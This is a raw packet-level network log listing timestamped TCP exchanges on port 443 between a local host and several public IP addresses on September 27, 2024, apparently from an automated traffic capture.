Sep 27, 2024 05:51:02.152141094 CEST	443	49860	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.152179003 CEST	443	49860	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.152198076 CEST	443	49860	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.152283907 CEST	49860	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.152312040 CEST	443	49860	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.152364016 CEST	49860	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.184091091 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.184108973 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.184130907 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.184288979 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.184288979 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.184309006 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.184340954 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.184566975 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.184616089 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.184623003 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.184654951 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.184657097 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.184690952 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.187299967 CEST	443	49869	103.235.47.188	192.168.2.5
Sep 27, 2024 05:51:02.187513113 CEST	443	49869	103.235.47.188	192.168.2.5
Sep 27, 2024 05:51:02.187573910 CEST	49869	443	192.168.2.5	103.235.47.188
Sep 27, 2024 05:51:02.209914923 CEST	443	49878	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:02.216042995 CEST	443	49867	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.216074944 CEST	443	49867	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.216084003 CEST	443	49867	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.216103077 CEST	443	49867	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.216140032 CEST	443	49867	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.216223001 CEST	49867	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.216223001 CEST	49867	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.216223001 CEST	49867	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.216233015 CEST	443	49867	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.216276884 CEST	49867	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.237826109 CEST	443	49860	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.237915993 CEST	443	49860	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.238030910 CEST	49860	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.238030910 CEST	49860	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.244764090 CEST	49878	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:02.244803905 CEST	443	49878	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:02.245549917 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.245600939 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.245645046 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.245685101 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.245728970 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.245759010 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.245779991 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.245932102 CEST	443	49878	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:02.245990038 CEST	49878	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:02.247462988 CEST	49878	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:02.247477055 CEST	443	49862	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.247507095 CEST	443	49862	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.247528076 CEST	443	49862	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.247558117 CEST	49862	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.247572899 CEST	443	49878	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:02.247575998 CEST	443	49862	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.247601032 CEST	49862	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.247605085 CEST	443	49862	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.247617006 CEST	49862	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.247628927 CEST	443	49862	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.247675896 CEST	49878	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:02.247678041 CEST	49862	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.247689962 CEST	443	49862	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.247694969 CEST	443	49878	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:02.248675108 CEST	49857	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.248689890 CEST	443	49857	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.249099970 CEST	49883	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.249140024 CEST	443	49883	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.249218941 CEST	49883	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.249576092 CEST	443	49862	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.249602079 CEST	443	49862	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.249641895 CEST	49862	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.249650955 CEST	443	49862	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.249667883 CEST	49862	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.249711990 CEST	443	49862	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.249754906 CEST	49862	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.252343893 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.253249884 CEST	49879	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:51:02.253293991 CEST	443	49879	50.2.64.137	192.168.2.5
Sep 27, 2024 05:51:02.271222115 CEST	49851	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.271230936 CEST	443	49851	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.275757074 CEST	443	49873	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.279221058 CEST	49883	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.279247999 CEST	443	49883	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.279664993 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.279674053 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.280446053 CEST	49873	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.280452967 CEST	443	49873	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.280795097 CEST	443	49873	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.280962944 CEST	49869	443	192.168.2.5	103.235.47.188
Sep 27, 2024 05:51:02.280973911 CEST	443	49869	103.235.47.188	192.168.2.5
Sep 27, 2024 05:51:02.281049013 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.281120062 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.283647060 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.283689976 CEST	49873	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.283703089 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.283762932 CEST	443	49873	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.284085989 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.284269094 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.285960913 CEST	49873	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.286364079 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.286376953 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.289222002 CEST	49878	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:02.289501905 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.289566994 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.289643049 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.290155888 CEST	49862	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.290225029 CEST	443	49862	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.290565014 CEST	49884	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.290594101 CEST	443	49884	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.291042089 CEST	49860	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.291064978 CEST	443	49860	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.291477919 CEST	49885	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.291520119 CEST	443	49885	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.291569948 CEST	49885	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.292117119 CEST	49865	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.292139053 CEST	443	49865	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.292376041 CEST	49886	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.292392015 CEST	443	49886	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.292445898 CEST	49886	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.293057919 CEST	49885	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.293075085 CEST	443	49885	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.293579102 CEST	49886	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.293593884 CEST	443	49886	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.298295021 CEST	443	49867	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.298353910 CEST	49867	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.298366070 CEST	443	49867	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.298497915 CEST	443	49867	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.298542976 CEST	49867	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.298613071 CEST	49867	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.298624992 CEST	443	49867	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.298634052 CEST	49867	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.298659086 CEST	49867	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.298861027 CEST	49887	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.298883915 CEST	443	49887	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.298949957 CEST	49887	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.299498081 CEST	49887	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.299523115 CEST	443	49887	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.306200027 CEST	49888	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.306236029 CEST	443	49888	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.306339979 CEST	49888	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.306490898 CEST	49888	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.306504965 CEST	443	49888	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.330730915 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.330802917 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.330807924 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.330848932 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.330884933 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.330928087 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.331412077 CEST	443	49873	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.334033012 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.334094048 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.334101915 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.334127903 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.334156036 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.334177971 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.336553097 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.339132071 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.339420080 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.339437962 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.339775085 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.340394020 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.340454102 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.340663910 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.387411118 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.410897970 CEST	443	49878	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:02.410921097 CEST	443	49878	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:02.410985947 CEST	443	49878	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:02.410983086 CEST	49878	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:02.411035061 CEST	49878	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:02.411814928 CEST	49878	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:02.411850929 CEST	443	49878	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:02.418607950 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.418661118 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.418689013 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.418739080 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.418771982 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.418793917 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.419647932 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.419703007 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.419718981 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.419739008 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.419768095 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.419786930 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.420228958 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.420289993 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.420315027 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.420366049 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.420380116 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.420430899 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.420521975 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.420563936 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.431919098 CEST	49868	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.431941032 CEST	443	49868	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.432229996 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.432284117 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.432338953 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.432924032 CEST	49890	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:02.432955980 CEST	443	49890	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:02.433005095 CEST	49890	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:02.433738947 CEST	49889	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.433759928 CEST	443	49889	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.433932066 CEST	49890	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:51:02.433947086 CEST	443	49890	50.3.213.5	192.168.2.5
Sep 27, 2024 05:51:02.513362885 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.513602018 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.513624907 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.513947010 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.514003992 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.514583111 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.514621973 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.514853954 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.514919996 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.515083075 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.515089989 CEST	443	49876	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.555490971 CEST	49876	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.562196970 CEST	443	49872	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.562258959 CEST	443	49872	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.562280893 CEST	443	49872	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.562302113 CEST	443	49872	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.562334061 CEST	49872	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.562371016 CEST	443	49872	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.562390089 CEST	49872	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.562402964 CEST	443	49872	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.562421083 CEST	443	49872	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.562447071 CEST	49872	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.562453985 CEST	443	49872	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.562479973 CEST	49872	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.562536001 CEST	443	49872	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.562586069 CEST	49872	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.562594891 CEST	443	49872	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.562686920 CEST	443	49872	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.562760115 CEST	49872	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.563241005 CEST	49872	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.563261986 CEST	443	49872	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.578032970 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.578056097 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.578063965 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.578094959 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.578113079 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.578119040 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.578144073 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.578176022 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.578188896 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.578195095 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.578214884 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.579793930 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.579802036 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.579819918 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.579828024 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.579875946 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.579884052 CEST	443	49870	211.149.140.201	192.168.2.5
Sep 27, 2024 05:51:02.579917908 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.614861012 CEST	49891	443	192.168.2.5	103.235.46.96
Sep 27, 2024 05:51:02.614938021 CEST	443	49891	103.235.46.96	192.168.2.5
Sep 27, 2024 05:51:02.615040064 CEST	49891	443	192.168.2.5	103.235.46.96
Sep 27, 2024 05:51:02.615230083 CEST	49891	443	192.168.2.5	103.235.46.96
Sep 27, 2024 05:51:02.615259886 CEST	443	49891	103.235.46.96	192.168.2.5
Sep 27, 2024 05:51:02.629682064 CEST	49870	443	192.168.2.5	211.149.140.201
Sep 27, 2024 05:51:02.649205923 CEST	443	49873	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.649238110 CEST	443	49873	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.649302006 CEST	49873	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.649319887 CEST	443	49873	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.649336100 CEST	443	49873	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.649388075 CEST	49873	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.650223017 CEST	49873	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.650237083 CEST	443	49873	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.650779963 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.650803089 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.650809050 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.650834084 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.650846004 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.650852919 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.650856018 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.650870085 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.650921106 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.650938034 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.653851986 CEST	49892	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.653959036 CEST	443	49892	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.654227018 CEST	49892	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.654931068 CEST	49892	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.654963970 CEST	443	49892	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.709717035 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.709743023 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.709759951 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.709800005 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.709839106 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.709856033 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.709884882 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.733623028 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.733663082 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.733699083 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.733726978 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.733741999 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.734050035 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.737696886 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.737742901 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.737771034 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.737796068 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.737819910 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.737840891 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.797796011 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.797897100 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.797910929 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.797981977 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.798018932 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.798448086 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.800570011 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.800631046 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.800647974 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.800668001 CEST	443	49875	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.800693035 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.801043987 CEST	49875	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.820233107 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.820252895 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.820302010 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.820327997 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.820344925 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.820377111 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.821340084 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.821357012 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.821381092 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.821407080 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.821413994 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.821449041 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.821459055 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.821599007 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.821746111 CEST	49874	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.821759939 CEST	443	49874	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.822149038 CEST	49893	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.822195053 CEST	443	49893	47.108.5.198	192.168.2.5
Sep 27, 2024 05:51:02.822415113 CEST	49893	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.822949886 CEST	49893	443	192.168.2.5	47.108.5.198
Sep 27, 2024 05:51:02.822983980 CEST	443	49893	47.108.5.198	192.168.2.5
